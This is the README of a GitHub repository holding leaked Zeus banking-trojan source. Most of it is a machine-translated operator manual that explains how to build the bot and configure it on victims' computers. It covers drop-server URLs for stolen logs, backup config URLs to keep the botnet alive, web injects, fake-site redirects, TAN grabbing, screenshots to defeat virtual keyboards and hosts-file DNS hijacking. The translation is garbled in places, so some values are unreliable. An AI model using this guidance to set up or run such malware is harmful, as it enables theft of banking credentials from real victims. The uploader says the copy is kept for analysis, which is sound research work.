**https://github.com/Visgean/Zeus**

**README**

This is version 2.0.8.9 downloaded from

This repository doesn´t contain my code I have uploaded it to GitHub to simplify the process of getting/analysing the code.

Third paragraph:

Setting up the bot

Step by step installation:

1) From your existing package assembly, run 'local \ cp.exe', is a builder and bot file konifguratsii

2) Open the 'Builder'. Click 'Browse' and select the configuration file there, the name of MDM 'local \ config.txt'.

3) Click 'Edit config', as a result should start a text editor. Migrate the file like this:

First:

The source configuration file is a text file encoding in Windows, and is needed to create the final configuration file (which is a binary file to download bot) and the bot. In your package assembly sample configuration file must be located in the folder 'local' and be named config.txt. You can open the file in a text editor such as 'Notepad' (Notepad).

The file consists of records, one record per line. Recording is composed of parameters, the first parameter is the name commonly write (but not always, such as in cases when there is any data transfer, no name). The parameters are separated by spaces, if the parameter is found in the space, or a tab, this option must be enclosed in double quotes ("), the same rule applies to the name. Unlimited number of parameters, and if the record has a name, it read insensitive

Examples:

username Kot Matroskin

recording name - username, option 1 - Kot, option 2 - Matroskin.

username "James" Bond "

recording name - username, option 1 - James, option 2 - Bond.

username "Volodia Putin"

recording name - username, option 1 - Volodia Putin.

"Url" "<http://example.com/>" index.php

recording name - url, option 1 - <http://example.com/>, option 2 - index.php

Also there are special names of entries that allow you to share the configuration file you want as far as sub-sections, which can contain within itself any number of sub-sections and records. They are called sections and consist of a name and a parameter determining the entry section name (case is also not taken into account in this parameter), the end of the same section, indicated by entering end. The documentation, nesting record in relation to sub-sections will be designated by ->. That is, Entries named username owned section userdata, will be designated as the userdata-> username, etc.

Examples:

entry "userdata"

fname "petia"

lname "lolkin"

end

entry compdata

name "pcvasya"

entry devices - the contents of this section, an example of when the record does not have a name, there is a listing of devices.

cdrom

"Hdd"

fdd

end

end

Also, you can insert comments, comments must be in a separate line, and start with a ';'. If it turns out that the first parameter in the record, too, begins with a ';', this parameter must be enclosed in quotation marks.

Examples:

; Hello.I think that I'm hero!

; How are you /-it does not record

"; I love you" - and here it is already recording.

Second:

Configuration File Entries

The file consists of two sections StaticConfig and DynamicConfig.

StaticConfig, the values ​​prescribed in this section directly to the bot file, ie in exe, and define the basic behavior of the bot on a victim's computer.

Depending on your build, some details may not have value for you, all the significant parameters prescribed in the example that came with the package assembly.

botnet [string] - specifies the name of a botnet, which owns the boat.

string - the name of a botnet to 4 characters, or 0 - for the default value.

Recommended value: botnet 0

timer\_config [number1] [number2] - determines the intervals through which to receive updatings configuration file.

number1 - Specifies the time in minutes through which to update the configuration file, if successful boot last time.

number2 - Specifies the time in minutes through which to update the configuration file, in case of an error when loading the previous time.

Recommended value: timer\_config 60 5

timer\_logs [number1] [number1] - determines the intervals through which to send the accumulated logs to the server.

number1 - Specifies the time in minutes through which to send the logs, in cases successfully sent last time.

number2 - Specifies the time in minutes through which to send the logs, in case of an error in sending previous time.

Recommended value: timer\_logs February 2

timer\_stats [number1] [number2] - determines the intervals through which to send statistics to the server. (Includes inastally, finding in the online, open ports, services, socks, screenshots, etc.)

number1 - Specifies the time in minutes through which to send the statistics, in cases successfully sent last time.

number2 - Specifies the time in minutes through which to send the statistics, in the case of an error in sending previous times.

Recommended value: timer\_logs 20 10

url\_config [url] - URL that is located on the main configuration file, this is the most important parametor if the infection kompyuetra victim on a URL will not be available this configuration, the infection does not make sense.

url\_compip [url] [number] - specifies the site where you can check your IP, is used to determine the NAT.

url - specifies the URL of the web

number - Specifies the kolichetsvo bytes that enough to swing from the site to see in the downloaded your IP.

blacklist\_languages ​​[number1] [number2] ... [chisloX] - specifies a list of language codes Windows, for which the bot will always spyashem is in Safe Mode, ie it will not send the logs and statistics, but will appeal to the configuration file.

chisloX - language code, for example RU - 1049, EN - 1033.

DynamicConfig, the values ​​prescribed in this section, the final configuration file.

Depending on your build, some details may not have value for you, all the significant parameters prescribed in the example that came with the package assembly.

url\_loader [url] - specifies the URL, which you can download the update bot. This option is relevant only if you are running the botnet new version of the bot and prescribed configuration of him for the same URL, as the old configuration, in which case the old version of the bot will start to upgrade by downloading the file specified in this record.

url\_server [url] - specifies the URL, which will be sent to statistics, files, logs, etc. from the computers of victims.

file\_webinjects - defines a local file, which is a list of web izhektov. Description of the format of this file can be found here

Subsection AdvancedConfigs - enumerates a list of the URL, which you can download a backup configuration file, in the cases of the inaccessibility of the main file. It is recommended to fill this subsection 1-3 URL, which will save the botnet from death in cases of unavailability of the main configuration file, and the result is easy to transfer it to another server. Required files exist on this URL is not required, then the main thing to be able to place the files on this URL. Files should be mixed there only after the discovery of the main configuration file is not available, but if you ever want to have the files on this URL, you should update them all in sync with the main configuration file. The backup files can not not be distinguished from the core, and are created in the same way.

Example:

entry "AdvancedConfigs"

"Http://url1/cdffd.ccc"

"Http://url2/cdf34.dc"

end

Subsection WebFilters - has two purposes:

enumerates a list of masks URL, which should be written down or removed from the log, regardless of the type of request (GET, POST). If the first character of the mask is a '!', Then the coincidence of the URL with this mask, the entry in the log will not be produced (eg mask! "\*" Will ban entry of URL, except those listed before it).

The mask URL, at the beginning of treatment which will sozdavatsya screenshots of pressing the left mouse button (useful for bypassing the virtual keyboard). This mask URL should begin with the character '@'.

Note: URL listed in this section, the value is ignored StaticConfig.ignore\_http

Example:

entry "WebFilters"

, The log will be written by all the URL matching with this mask.

"[Http://www.google.com/](http://www.google.com/) \*"

, The log will be written all the URL matching with this mask.

"! Http:// \* yahoo.com / \*"

And after the opening of this page will be created in the screenshots click the left mouse button.

"@ [Http://www.rambler.ru/](http://www.rambler.ru/)"

end

Subsection WebFakes - enumerates a list of transparent URL-redirects (fake) sites, a detailed description of this topic can be found here

Subsection TanGrabber - determine the rules for TAN-grabber, a detailed description of this topic can be found here

Subsection DnsMap - DNS list of changes to be made in the file% system32% \ drivers \ etc \ hosts.

Recording format: [IP] [domain].

IP - the new IP domain.

domain - the domain name for which changes IP. If the domain name begins with a '!', This domain will have Dalen from the file, of course if it is found there. The value of IP and can be ignored by anyone.

Example:

entry "dnsmap"

127.0.0.1 microsoft.com

192.168.0.1 google.com

0.0.0.0! Yahoo.com

end

Third:)

Then save the file.

== END of original Readme ====

This bot source only includes the bot generator and not the installer or the web server "Control Center". For more Information look for Ice IX